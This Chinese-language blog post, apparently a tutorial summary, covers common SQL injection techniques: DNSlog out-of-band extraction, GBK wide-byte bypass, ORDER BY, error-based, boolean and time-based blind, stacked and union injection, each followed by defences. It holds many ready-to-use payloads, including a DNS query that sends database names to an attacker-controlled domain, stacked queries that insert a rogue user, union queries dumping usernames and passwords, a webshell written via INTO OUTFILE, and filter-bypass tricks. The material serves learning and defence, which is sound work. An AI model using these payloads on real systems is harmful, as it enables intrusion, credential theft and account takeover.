常见的sql注入方式 总结

dns盲注

DNS盲注(DNSlog Injection)是一种高级的带外信道(Out-of-Band, OOB) 数据提取技术,它能高效地解决传统盲注(布尔、时间盲注)在无回显场景下面临的请求次数过多、效率低下、易被封锁的问题。其核心思路是让目标数据库主动将数据通过DNS查询请求发送到攻击者控制的服务器

上图展示了DNS盲注的宏观过程,但其成功实施依赖于一系列严格的前提条件。

条件类型具体要求与说明
数据库权限MySQL需要root权限(或具有FILE权限的高权限账户),以便执行LOAD_FILE()函数。
数据库配置MySQL的 secure_file_priv 系统变量必须设置为空字符串(即secure_file_priv=''),允许读取任意路径文件(包括网络路径)。
操作系统影响通常需要在Windows系统环境下,因为其UNC路径特性会强制对域名进行DNS解析。Linux系统不支持UNC路径,因此无法直接利用此方式。
网络环境目标服务器必须能与互联网通信,能够向外部DNS服务器发起请求。
DNS服务器攻击者需控制一个DNS服务器以记录查询日志。通常使用在线平台(如ceye.iodnslog.cn)或自建服务器。

🛠️ 实战步骤:从零开始一次完整的DNS盲注

步骤一:获取一个DNSlog平台

你需要一个能记录DNS查询日志的服务。常用平台有:

  • ceye.io: 提供免费二级域名,如 xxxxx.ceye.io
  • dnslog.cn: 另一个常用的免费平台。

注册后,你会获得一个专属二级域名(例如 p53t9h.ceye.io),所有对该域名及其子域的查询都会被记录并显示在平台日志中。

步骤二:判断注入点并构造Payload

假设你已在某个站点的 id参数发现了SQL注入漏洞(例如:/vul.php?id=1),且该页面无任何数据回显。

你想获取当前数据库名,经典Payload构造如下:

?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.p53t9h.ceye.io\\abc')))-- -

Payload分解说明:

  • CONCAT('\\\\', (SELECT database()), '.p53t9h.ceye.io\\abc')
    • \\\\: 经过SQL字符串转义后变为 \\,这是UNC路径的开头,表示网络共享路径。
    • (SELECT database()): 子查询,执行后返回当前数据库名(例如 security)。
    • .p53t9h.ceye.io: 你控制的DNSlog域名。
    • \\abc: UNC路径中指定的一个不存在的共享文件(abc),文件是否存在不重要,目的是触发DNS解析。
    • 最终拼接出的字符串示例\\security.p53t9h.ceye.io\abc
  • LOAD_FILE(): 函数会尝试读取这个UNC路径的“文件”。为了解析主机名 security.p53t9h.ceye.io,数据库会向DNS服务器发起查询
  • -- -: 注释掉原SQL语句后的所有内容,确保语法正确。

步骤三:提交Payload并查看日志

将构造好的Payload通过浏览器、编程脚本或代理工具提交给目标URL。

http://vulnerable-site.com/vul.php?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.p53t9h.ceye.io\\abc')))-- -

提交后,稍等片刻(DNS解析可能有延迟),刷新你的DNSlog平台控制面板。如果成功,你会在日志中看到一条查询记录,其主机名部分直接包含了数据库名

security.p53t9h.ceye.io

至此,你只需一次请求就获取了数据库名,效率远超传统盲注。

🔧 进阶技巧与注意事项

  1. 处理特殊字符:如果查询结果包含非法域名字符(如@, :, 空格),需进行编码(常用Hex编码)或使用replace()等函数处理。
...CONCAT('\\\\',(SELECT hex(table_name) FROM ...),'.p53t9h.ceye.io\\abc'))...

获取到编码结果后,再手动解码即可。

  1. 数据长度限制:域名标签(如security)长度限制为63字符,总域名长度不超过253字符。提取较长数据(如表内容)时,需使用substring()limit分多次提取。
  2. 自动化工具:手动构造虽直观,但自动化效率更高。推荐使用 **sqlmap**,它支持DNS盲注(需配合 --dns-domain参数)。

📊 对比:DNS盲注 vs. 传统盲注

特性DNS盲注 (DNSlog)传统盲注 (布尔/时间)
请求次数极少量(几次至几十次)海量(成千上万次)
速度(分钟级)极慢(小时或天数级)
隐蔽性(混合在正常DNS流量中)(大量异常HTTP请求)
适用场景Windows服务器,满足权限和配置条件几乎所有SQL注入场景
数据提取直接(数据在日志中)间接(逐字符猜测、比对)

🛡️ 防御措施

了解攻击手段是为了更好的防御。如何有效防范DNS盲注?

  1. 最小权限原则:应用程序使用的数据库账户应遵循最小权限原则,禁止使用root等高权限账户,移除不必要的FILE权限。
  2. 安全配置:将MySQL的secure_file_priv变量设置为NULL,从根本上杜绝load_file()函数被滥用的可能。
  3. 输入过滤与预处理:对用户输入进行严格的过滤参数化查询(预编译),从根本上杜绝SQL注入的可能性。
  4. 网络层控制:严格限制内网服务器(尤其是数据库服务器)向外发起DNS查询,只允许访问受信任的内部DNS服务器。部署网络监控,检测异常DNS查询(如长域名、随机子域名)。
  5. WAF/IDS规则:部署WAF或IDS设备,并设置规则告警尝试执行load_file()函数或包含明显DNSlog域名的请求。

GBK宽字节注入

一句话概括

宽字节注入就是一种利用数据库的中文编码方式(如GBK) 的特殊性,来“骗”过网站的防护系统,从而进行SQL注入攻击的方法。


详细拆解

想象一个场景:网站有一个登录框,你输入用户名。正常的逻辑是,你输入 Alice,后台数据库会执行这样一句查询:

SELECT * FROM users WHERE username = 'Alice'

但如果你输入的是一个单引号 ',网站为了防止你破坏这个查询语句,会给你输入的单引号前面加一个反斜杠 \ 来转义它。所以最终传到数据库的其实是:

SELECT * FROM users WHERE username = '\''

这个 \' 在数据库里就只是一个普通的字符,而不是能闭合字符串的单引号,所以攻击就失败了。这个过程叫“转义”,是网站的一种安全防护。

那么,“宽字节注入”是如何绕过这个防护的呢?

它的核心在于利用了 GBK 这类中文编码的特性。在GBK编码中,两个连续的字节可以组合起来表示一个汉字(比如 %aa%5c 可能就是一个汉字)。

攻击者就利用了这个特性:

方法一:%df 吃掉 \ (最常用)
  1. 你输入 %df' (注意:' 的URL编码是 %27)。
  2. 网站的安全程序很尽职,它看到 %27(单引号),就在它前面加一个反斜杠 \(它的URL编码是 %5c)。
  3. 所以,最终程序传给数据库的字符串变成了:%df%5c%27
  4. 关键来了!数据库使用GBK编码来解读这段数据。它会%df%5c 这两个字节组合在一起,当作一个汉字来处理。至于剩下的 %27,它就被独立出来了。
  5. 于是,最终的查询语句就变成了:
SELECT * FROM users WHERE username = '某汉字''

那个 %27(单引号)成功逃逸,闭合了前面的引号,后面就可以拼接我们想要的恶意SQL代码了。

简单比喻:就像你朋友手拉手(%df%5c)假扮成一个人(一个汉字),骗过了门口的保安(转义函数),然后你(%27)就能大摇大摆地跟进去了。

方法二:注释掉 \

这个方法比较少见,思路是输入 %5c%27(即 \')。

  1. 网站的安全程序可能会再次转义,变成 %5c%5c%27(即 \\')。
  2. 在SQL中,两个反斜杠 \\ 可能被解释为一个普通的反斜杠字符,或者第一个 %5c 被当作转义符“注释”掉了第二个 %5c,结果还是留下了独立的 %27(单引号)。

总结一下

  • 目标:让一个**单引号 **' 成功逃过转义,去闭合SQL语句。
  • 手段:利用GBK编码两个字节算一个汉字的规则,构造一个特殊的字节(如%df),让它和转义符\(%5c)“组队”变成汉字,从而让单引号“落单”。
  • 前提条件:数据库连接采用GBK、BIG5等宽字节编码。

order_by_注入

Sort注入是SQL注入的一种特殊形式,它专门针对SQL查询语句中的**ORDER BY**子句(在一些上下文中也可能被称为SORT BY)。当Web应用程序将用户输入的数据(例如,用于指定排序规则的参数)直接拼接到SQL查询的ORDER BY子句中,且没有经过充分的过滤或验证时,攻击者便可以构造特殊的输入来执行恶意的SQL代码。

为了帮助你快速理解Sort注入与普通SQL注入的一些区别,我用一个表格来汇总它们的主要特点:

特性常规SQL注入 (常见于WHERE子句)Sort注入 (发生在ORDER BY子句)
注入位置WHERE子句后ORDER BY子句后
UNION攻击经常有效,可直接获取数据通常无效
注入类型联合查询、报错、布尔盲注、时间盲注等主要依赖报错注入、布尔盲注、时间盲注
数据回显成功时常有明确数据回显结果通常只是排序顺序的变化
利用难度相对直接需要更多技巧和耐心

🔍 原理简述

一个存在漏洞的SQL查询语句可能原本是这样的:

SELECT * FROM products ORDER BY $_GET['sort_column'];

攻击者可以通过控制 sort_column 参数,不仅传递一个简单的列名(如 pricename),而是插入额外的SQL代码。由于 ORDER BY 后面不能直接使用 UNION SELECT 这样的语句,攻击者通常会采用一些更巧妙的方法,例如:

  • 利用报错注入:故意构造会让数据库出错的语句,从而在错误信息中泄露数据。
  • 利用盲注:通过观察页面返回结果的差异(布尔盲注)或响应时间的长短(时间盲注)来一步步推断数据。
  • 利用rand()函数:通过构造如 ?sort=rand(ascii(left(database(),1))=115) 这样的参数,根据返回结果的不同来判断条件真假。
  • 利用procedure analyse:这是一个可以用于报错注入的子句。
  • 写入文件(如果权限允许):通过 into outfile 将查询结果或Webshell写入服务器文件。

🛡️ 防御措施

  1. 严格校验输入:对用户传入的排序字段值进行白名单验证,只允许预期的、预定义的值(如 “price”, “name”)。如果不是这些值,则使用默认排序规则。
  2. 使用参数化查询(预编译语句):虽然 ORDER BY 后面的字段名本身不能直接作为参数进行绑定(因为参数化查询通常用于值,而不是SQL关键字),但可以通过将用户输入映射到预定义的、安全的列名的方式来间接实现。
  3. 最小权限原则:确保数据库用户只拥有必要的权限,**避免授予类似FILE**这样的权限,以防止攻击者利用into outfile写入文件。

希望这些信息能帮助你更好地理解Sort注入。如果你对网络安全或SQL注入的其他方面感兴趣,我很乐意继续为你解答。


报错注入

报错注入函数 updatexml(1,payload(),1) floor() extractvalue()

floor报错注入

   and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

rand(0) 取随机数的函数 *2 只能在0 1 之间 取

floor() 取整函数 向下取整

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

之后过程和前面几关一样 构造payload

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1 offset 3),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select username password from users limit 0 ,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

http://172.22.6.165:8989/Less-5/?id=1' and (select 1 from (select count(*),concat((select password from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

updatexml 报错注入

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。

payload

and updatexml(1,(concat(0x7e,(payload),0x7e)),1) -- =

?id=1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1) -- =

?id=1'and updatexml(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1 offset 1),0x7e)),1) -- =

offset可更改为,

爆内容

?id=1'and updatexml(1,(concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 1),0x7e)),1) -- =

limit offset

limit 显示有几行

offset 隔第几个结果显示 如 offset 0 则显示第一个

extravalue 报错注入

extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为 连接 参数产生的字符串

payload:and extractvalue(null,concat(0x7e,(select @@datadir),0x7e)); --+ 

http://172.22.6.165:8989/Less-5/?id=1’ and extractvalue(null,concat(0x7e,(select database()),0x7e));–+

http://172.22.6.165:8989/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e)); -- =

http://172.22.6.165:8989/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1 offset 4),0x7e));--+

爆列名

http://172.22.6.165:8989/Less-5/?id=1’ and extractvalue(null,concat(0x7e,(select password from users limit 1 offset 1),0x7e));–+

获取密码


布尔盲注

你可以把布尔盲注想象成一场 “猜谜游戏”:你向数据库提问,但它只回答“是”或“不是”(True or False)。你需要通过一系列的是非问句,一步步猜出它掌握的全部信息(比如数据库名、表名、具体数据等)。

下面这个表格对比了布尔盲注和普通SQL注入的主要区别,帮你更清楚地理解它的特点:

特性普通SQL注入布尔盲注
信息回显直接返回查询结果或详细错误信息不返回任何具体数据或错误信息
响应方式页面直接显示数据通过页面状态(如内容变化、HTTP状态码)反馈
攻击难度相对简单,可直接获取信息复杂、耗时,需要逐个字符推断
原理联合查询、报错注入等构造布尔条件(真/假),观察响应差异
比喻直接问答案只能问“是/否”问题,通过答案拼凑信息

🔍 核心原理

布尔盲注发生在网站存在SQL注入漏洞,但不会直接显示数据库查询结果或详细的错误信息时。攻击者通过精心构造SQL语句,插入一个“是”或“否”的条件判断(例如 AND 1=1为真,AND 1=2为假),然后观察网页的不同反应(例如页面正常显示、内容消失、显示404错误等)来推断条件是否成立。

这个过程就像你在问数据库:

  • “数据库名字的第一个字母是’a’吗?”(如果页面反应表示“是”,就猜对了)
  • “如果不是,是’b’吗?”
  • ……如此循环,直到猜出整个数据库名、表名、字段名和具体数据。

🛠️ 基本步骤

进行一次布尔盲注通常包含以下步骤:

  1. 确认注入点与盲注类型

首先输入 id=1' AND 1=1 --+(永真条件)和 id=1' AND 1=2 --+(永假条件)。如果两次请求的页面响应有明显差异(例如一个正常显示内容,另一个内容为空或报错),那么就存在布尔盲注漏洞。

  1. 猜解当前数据库名
    • 判断长度:使用 LENGTH()函数。例如:id=1' AND LENGTH(DATABASE())=8 --+。如果页面返回“真”的反应,说明当前数据库名的长度为8个字符。
    • 逐字符猜解:使用 SUBSTR()ASCII()函数逐个字符猜测。例如:id=1' AND ASCII(SUBSTR(DATABASE(),1,1))=115 --+。如果页面反应表示“真”,说明数据库名的第一个字母的ASCII码是115,即字母’s’。然后继续猜第二个、第三个字符,直到全部猜出。
  2. 猜解表名

在知道了数据库名后,可以从数据库的信息模式表(如 information_schema.tables)中查询表名。

- **猜表的数量**:`id=1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=4 --+`如果为真,说明此数据库下有4张表。
- **猜每张表的名字**:同样是逐字符猜解。例如猜第一张表的名字:`id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=117 --+`如果为真,说明第一张表名的第一个字符是'u'(ASCII码117)。
  1. 猜解列名字

知道了表名后,同样从 information_schema.columns中查询列名,方法同上,也是先猜列的数量,再逐字符猜每一列的名字。

  1. 提取数据

知道了表名和列名,就可以直接猜里面的数据了。例如,猜 users表中 usernameadmin的密码:id=1' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1))=112 --+如果为真,说明管理员密码的第一个字符是’p’。


⚡ 自动化与工具

手动进行布尔盲注极其繁琐,因为可能需要发起数万次请求。因此,安全测试人员通常会使用自动化工具:

  • SQLMap:一款强大的开源SQL注入自动化检测和利用工具。对于布尔盲注,一条简单的命令可能是:sqlmap -u "http://example.com/page?id=1" --technique=B --batch。其中 --technique=B指定使用布尔盲注技术。
  • 自定义Python脚本:也可以编写脚本自动完成猜解过程,通常采用二分查找算法来提高效率。

🛡️ 如何防御

了解攻击方式是为了更好的防御。开发者可以采取以下措施来防范布尔盲注:

  1. 使用预编译语句(参数化查询):这是最有效、最根本的防御手段。将用户输入的数据纯粹当作参数,而不是SQL代码的一部分。
  2. 严格的输入验证与过滤:对用户输入进行严格的检查,只允许预期的字符类型和格式(如数字、特定长度的字符串等)。
  3. 最小权限原则:分配给Web应用数据库账户仅满足其功能所需的最小权限,避免其能直接访问 information_schema等系统表。
  4. 统一的错误处理:避免向用户显示详细的数据库错误信息,使用通用的错误提示页面。


堆叠注入

1. 漏洞核心:mysqli_multi_query()函数
  • 根本原因:堆叠注入的产生,根本在于应用程序使用了类似PHP中mysqli_multi_query()这样的数据库接口函数。与常见的mysqli_query()(一次仅执行一条SQL语句)不同,multi_query允许将多条SQL语句作为一个字符串一次性发送给数据库执行,语句之间使用分号 (;) 分隔。
  • 漏洞触发条件:当应用程序未经严格处理,直接将用户输入(如URL参数id)拼接进SQL字符串,并调用此类函数执行时,攻击者就可以通过注入分号来结束前一条合法语句,随后追加任意他想要执行的新SQL命令。
2. 堆叠注入与Union注入的本质区别
特性Union联合注入堆叠注入
语句类型本质上只能执行SELECT查询语句。可以执行任何SQL语句(DDL, DML, DCL)。
技术原理利用UNION操作符将两个SELECT查询的结果集合并。受原查询语句结构限制,列数、数据类型必须匹配。利用查询分隔符(;) 批量执行多条语句。不受原语句类型的限制。
能力范围数据窃取(读操作)。极其广泛:数据窃取(SELECT)、数据篡改(INSERT/UPDATE/DELETE)、库表结构修改(ALTER/DROP)、权限提升、文件读写( INTO OUTFILE / LOAD_FILE)、存储过程调用等。
3. Payload分析

攻击者输入的Payload为:
?id=1';insert into users(id,username,password)values(99,'chen','volcano')--+

  • 1':用于完成原查询SELECT ... FROM ... WHERE id='...'的构造,并用单引号闭合字符串。图片中的错误信息证实了闭合方式为单引号。
  • ;关键所在。用于结束前一条(合法的)SELECT语句。
  • insert into users(...) values(...):这是攻击者意图执行的第二条独立SQL语句。目的是在users表中插入一条新的用户记录,该用户拥有自定义的用户名(chen)和密码(volcano)。如果成功,攻击者即可使用此账号登录系统,完成一次账户接管(Account Takeover)。
  • --+:URL编码中的注释符(+通常代表空格)。用于注释掉原查询中可能存在的后续字符(例如另一个单引号'),确保整个Payload语法正确。这是SQL注入中绕过闭合的标准手法。

危害评估与防御建议

危害性:堆叠注入属于高危/严重级别漏洞。它提供的攻击面远大于普通注入。成功利用可导致:

  • 直接数据泄露:执行任意SELECT语句。
  • 数据完整性破坏:增、删、改任何数据。
  • 权限提升:添加管理员账户。
  • 持久化后门:通过写入Webshell文件(SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php')。
  • 数据库服务器沦陷:在某些配置下,甚至可能执行系统命令。

防御措施

  1. 首选方案:参数化查询(Prepared Statements)
    这是根除此类漏洞的最有效方法。使用预编译语句(如PHP PDO或MySQLi的prepare+bind_param),将用户输入始终作为参数传递,而非SQL字符串的一部分,从原理上杜绝SQL注入的可能。这是所有开发者的黄金法则
  2. 最小权限原则
    为Web应用程序使用的数据库账户分配绝对最小的权限。除非必要,否则绝不授予FILE, PROCESS, DROP, ALTER等高级权限。即使注入成功,也能极大限制攻击者的操作范围。
  3. 输入验证与过滤
    对所有用户输入进行严格的验证和过滤,拒绝包含非预期字符(如分号;)的输入。但这应作为辅助手段,而非主要依赖。
  4. 使用安全函数
    如果必须使用动态查询,请使用数据库提供的特定安全函数(如MySQL的mysqli_real_escape_string())对输入进行转义。但请注意,这并非绝对安全。
  5. Web应用防火墙(WAF)
    部署WAF可以帮助检测和拦截常见的SQL注入攻击载荷,作为一道额外的防线。

联合注入

联合查询注入(Union-based SQL Injection)是SQL注入攻击中一种常见且高效的手法,它利用SQL的UNION操作符,将攻击者精心构造的恶意查询结果与应用程序原有的合法查询结果合并,从而窃取数据库中的敏感信息

下面为你详细解释它的原理、步骤、相关技巧和防御措施。

🔍 联合查询注入原理与前提

联合查询注入的核心是利用 UNION操作符。UNION能将多个 SELECT语句的结果集合并返回。要成功利用联合查询注入,需要满足两个基本条件:

  1. 原始查询与恶意查询的列数必须相同
  2. 对应列的数据类型需要兼容(例如,字符串类型不能与整数类型的列直接合并)。

攻击的成功通常还需要一个前提:页面存在回显位,即应用程序会将数据库查询结果的一部分直接显示在返回的网页或接口响应中。攻击者就是利用这些回显位来获取敏感数据。

⚔️ 联合查询注入的步骤

一次成功的联合查询注入通常包含以下步骤:

  1. 判断注入点与闭合方式

首先需要找到一个可与数据库交互的输入点(如用户ID、搜索框),并判断SQL查询语句的闭合方式(字符串需要用单引号或双引号包裹,数字型则不需要)。

- **方法**:通常通过插入特殊字符(如单引号 `'`)观察页面是否报错或行为异常来判断。
- **示例**:输入 `1'`若引发数据库错误,则可能是单引号闭合;若输入 `1' AND '1'='1`页面正常而 `1' AND '1'='2`页面异常,则进一步证实是单引号闭合。
  1. 确定原始查询的列数

使用 ORDER BY子句,通过二分法递增列号排序,直到报错。

- **原理**:`ORDER BY n`表示按第n列排序,若n超过实际列数,数据库会报错。
- **示例**:

?id=1' ORDER BY 1--(正常)

?id=1' ORDER BY 2--(正常)

?id=1' ORDER BY 3--(正常)

?id=1' ORDER BY 4--(报错)

说明原查询有 3 列。

  1. 寻找可回显的列

确定列数后,使用 UNION SELECT搭配数字占位,观察页面哪个位置显示了这些数字,从而确定回显点。

- **示例**:`?id=-1' UNION SELECT 1,2,3--`(注意将原查询参数设为无效值,如负数,以确保联合查询结果被显示)。若页面显示了数字 `2`和 `3`,则第2和第3列可用于回显数据。
  1. 利用回显位获取数据

找到回显位后,便可构造恶意查询获取敏感信息。通常从数据库本身的信息(如库名、表名、列名)逐步获取到具体数据。

- **获取当前数据库名**:`?id=-1' UNION SELECT 1,database(),3--`
- **获取所有表名**:`?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--`
- **获取表的所有字段名**:`?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--`
- **提取最终数据**:`?id=-1' UNION SELECT 1,username,password FROM users--`或 `?id=-1' UNION SELECT 1,group_concat(username, ':', password),3 FROM users--`

🛠️ 联合注入的技巧与绕过

遇到防御措施时,攻击者可能会尝试一些技巧:

  • 绕过关键词过滤
    • 大小写混淆UnIoN SeLeCt
    • 双写绕过UNIUNIONON SELESELECTCT
    • 内联注释(MySQL)/*!UNION*/ SELECT
  • 绕过单引号过滤
    • 使用 CHAR()函数:CHAR(100,97,116,97,98,97,115,101)代替 'database'
    • 使用十六进制编码:0x7573657273代替 'users'
  • 不同数据库的语法差异:MySQL、SQL Server、PostgreSQL等数据库的系统表名和函数可能不同。

🛡️ 如何防御联合查询注入

防范SQL注入,关键在于不要信任任何用户输入

  1. 使用参数化查询(预编译语句):这是最有效的手段。将SQL语句与数据分离,确保用户输入始终被当作数据处理而非代码执行。
  2. 实施严格的输入验证与过滤:对用户输入进行严格检查,只允许符合预期格式的数据(白名单原则)。
  3. 遵循最小权限原则:为数据库操作账户授予其所需的最小权限,避免使用高权限账户进行常规应用操作。
  4. 避免详细错误信息泄露:不要向用户显示具体的数据库错误信息,防止攻击者利用其推断数据库结构。
  5. 使用Web应用防火墙(WAF):WAF可以帮助检测和阻挡常见的攻击载荷。

💎 总结

联合查询注入是一种危险性高、但实施条件也相对严格的攻击手法。理解其原理和步骤,有助于我们更好地认识到应用程序中可能存在的安全漏洞,并采取有效措施进行防护。
联合注入(Union-Based SQL Injection)是一种利用SQL的UNION操作符来合并恶意查询结果到原始查询中的攻击手法。下面我用一个流程图直观展示其完整步骤,然后再为你详细解释每个环节的要点。

数字型
字符型
开始联合注入攻击
寻找并确认注入点
判断注入类型
无需额外闭合
需用引号闭合原语句
确定字段数
使用 ORDER BY 递增测试
确定字段数据类型与回显位
使用 UNION SELECT 填充占位
系统信息收集
查询 information_schema
获取最终敏感数据
攻击完成

以下是每个步骤的详细说明和常用技巧:

步骤关键方法/技巧说明
1. 寻找注入点测试所有用户输入点,如URL参数、表单字段、HTTP头(Cookie, User-Agent等)关注那些会改变页面内容或返回数据库错误的输入点。
2. 判断注入类型- 数字型1 AND 1=1(正常) vs 1 AND 1=2(异常)
- 字符型1' AND '1'='1(正常) vs 1' AND '1'='2(异常)
字符型注入需闭合引号,否则会引发语法错误。
3. 确定字段数使用 ORDER BY n 子句,递增 n 直到页面出错或内容异常。最后成功的 n 值即为字段数。例如 ORDER BY 3 成功但 ORDER BY 4 失败,则字段数为3。
4. 探测回显位使用 UNION SELECT 1,2,3,...,n(n为确定的字段数)。观察页面中哪个位置显示了数字,这些数字就是可以用于回显数据的字段位置。
5. 利用回显位获取数据将回显位数字替换为想查询的SQL函数或语句。例如:
- database():当前数据库名
- user():当前数据库用户
- @@version:数据库版本
通过页面上显示的内容,即可获取这些信息。
6. 获取表名查询 information_schema.tables。例如:
UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema = database()
information_schema 是MySQL的系统数据库,存储了所有表、列的信息。table_schema 条件用于限定当前数据库。
7. 获取列名查询 information_schema.columns。例如:
UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'users'
需要已知目标表名(如’users’)。
8. 提取数据直接查询目标表。例如:
UNION SELECT 1, username, password FROM users
成功获取到最终想要的敏感数据。

时间盲注

我理解时间盲注(Time-Based Blind SQL Injection)的概念可能有些抽象。别担心,我会用尽可能清晰的方式为你解释。

你可以把时间盲注想象成一场 “闭眼拆弹”:你只能通过倾听计时器的滴答声(页面响应时间) 来判断自己剪的是红线还是蓝线(SQL条件是否成立),看不到任何直接的提示。

⏱️ 核心原理与适用场景

时间盲注是一种非常隐蔽的SQL注入技术。当网站存在SQL注入漏洞,但页面既不会显示查询数据,也不会返回任何错误信息,甚至无论查询成功失败,页面内容都完全一致时,普通注入和布尔盲注都失效了,时间盲注就派上了用场。

攻击者通过构造特殊的SQL语句,利用数据库的时间延迟函数(如 SLEEP()BENCHMARK()),根据页面响应时间的差异来判断注入的条件是否成立。如果条件为真,就执行延迟函数,让页面响应变慢;如果条件为假,就不执行,页面快速返回。

🔍 时间盲注与布尔盲注的区别

理解它们之间的区别能帮你更好地把握时间盲注的特点:

特性布尔盲注 (Boolean-Based)时间盲注 (Time-Based)
判断依据页面内容的差异(如显示不同文本、元素存在与否)页面响应时间的长短
适用场景页面会根据查询结果返回两种不同的状态(如“存在”/“不存在”)页面毫无内容变化,只有一种响应状态
可靠性较高,直接观察内容变化较低,易受网络波动、服务器负载影响
攻击速度相对较快非常慢,因为每次判断都要等待

🛠️ 基本步骤

进行一次时间盲注通常包含以下步骤:

  1. 确认注入点与漏洞存在

输入永真条件并触发延迟,例如:id=1' AND IF(1=1,SLEEP(5),0) --+。如果页面响应明显延迟(约5秒),则说明可能存在漏洞。

再输入永假条件验证:id=1' AND IF(1=2,SLEEP(5),0) --+。此时页面应快速响应。若一慢一快,则存在时间盲注漏洞。

  1. 猜解数据(以数据库名为例)
    • 判断长度:使用 LENGTH()函数。例如:id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 0) --+。如果响应延迟3秒,说明当前数据库名长度为8个字符。
    • 逐字符猜解:使用 SUBSTR()ASCII()函数。例如猜第一个字符:id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=100, SLEEP(3), 0) --+。如果延迟3秒,说明数据库名的第一个字母的ASCII码是100,即字母’d’。然后继续猜第二个、第三个字符,直到猜出完整名称。这个过程通常结合二分查找法(Binary Search)来优化,无需遍历所有字符。
  2. 获取表名、列名和数据

思路同上,但SQL语句会更复杂,需要查询 information_schema系统库。例如猜表名:

id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=117, SLEEP(3), 0) --+

如果延迟,说明第一个表名的第一个字符是’u’(ASCII码117)。

⚡ 提高效率与自动化

手动进行时间盲注极其耗时,因此通常会借助工具或编写脚本自动化这个过程:

  • 使用SQLMap:这是一款强大的自动化SQL注入工具。对于时间盲注,一条基本的命令可能是:sqlmap -u "http://example.com/page?id=1" --technique=T --time-sec=3。其中 --technique=T指定使用时间盲注技术,--time-sec=3定义触发延迟的阈值。
  • 编写Python脚本:利用Requests库发送HTTP请求,Time模块计算响应时间,通过二分算法快速定位字符。

🛡️ 如何防御时间盲注

防御时间盲注的核心原则与防御其他SQL注入类型一致:

  1. 使用参数化查询(预编译语句):这是最有效、最根本的防御手段。将用户输入的数据始终作为参数传递,而非SQL代码的一部分。
  2. 严格的输入验证与过滤:对用户输入进行严格的检查,只允许预期的字符类型和格式。
  3. 最小权限原则:分配给Web应用数据库账户仅满足其功能所需的最小权限,避免其能直接访问 information_schema等系统表。
  4. 设置合理的数据库操作超时时间:限制单个查询的执行时间,增加攻击者实施时间盲注的难度。
  5. 部署Web应用防火墙(WAF):WAF可以识别并拦截包含睡眠函数等特征的恶意请求。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值